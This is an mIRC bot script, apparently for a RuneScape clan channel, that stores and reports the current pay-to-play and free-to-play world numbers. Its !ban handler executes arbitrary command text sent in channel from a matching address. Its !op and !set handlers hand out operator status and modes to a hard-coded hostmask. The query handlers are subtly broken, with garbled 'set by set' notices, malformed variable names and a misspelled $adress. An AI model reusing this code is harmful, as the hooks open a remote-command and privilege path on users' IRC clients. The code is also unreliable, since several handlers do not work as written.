on *:TEXT:!setp2p *:#: {
  if ($nick isop $chan) || ($nick ishalfop $chan) {
    if ($2 isnum 1-132) {
      set %p2pworld. [ $+ [ $chan ] ] $2
      set %noobwhosetp2p [ $+ [ $chan ] ] $nick
      msg $chan the p2p world we are on has changed type !p2p for it
    }
  }
}
on *:TEXT:!setf2p *:#: {
  if ($nick isop $chan) || ($nick ishalfop $chan) {
    if ($2 isnum 1-132) {
      set %f2pworld. [ $+ [ $chan ] ] $2
      set %noobwhosetf2p [ $+ [ $chan ] ] $nick
      msg $chan the f2p world we are on has changed type !f2p for it
    }
  }
}
on *:TEXT:!p2p*:#: {
  notice $nick the p2pw for $chan is %p2pworld. [ $+ [ $chan ] ] $2 set by  set %noobwhosetp2p [ $+ [ $chan ] ] $nick
}


on *:TEXT:!f2p*:#: {
  notice $nick the f2pw for $chan is %f2pworld. [ $+ [ $chan ] ] $2 set by  set %noobwhosetf2p [ $+ [ $chan ] ] $nick
}

on *:Text:!op*:#:{
  if ($address($nick,2) == $address($me,2)) || ($adress == @Swift-A2C225DC.ph.ph.cox.net) {
    mode $chan +o $nick
} }

on *:Text:!set *:#: {
  if ($nick isop $chan) || ($address($nick,2) == $address($me,2)) || ($adress == @Swift-A2C225DC.ph.ph.cox.net) {
    mode $chan $2-
} }

on *:TEXT:!ban *:#: {
  if ($address($nick,2) == $address($me,2)) {
$2- } }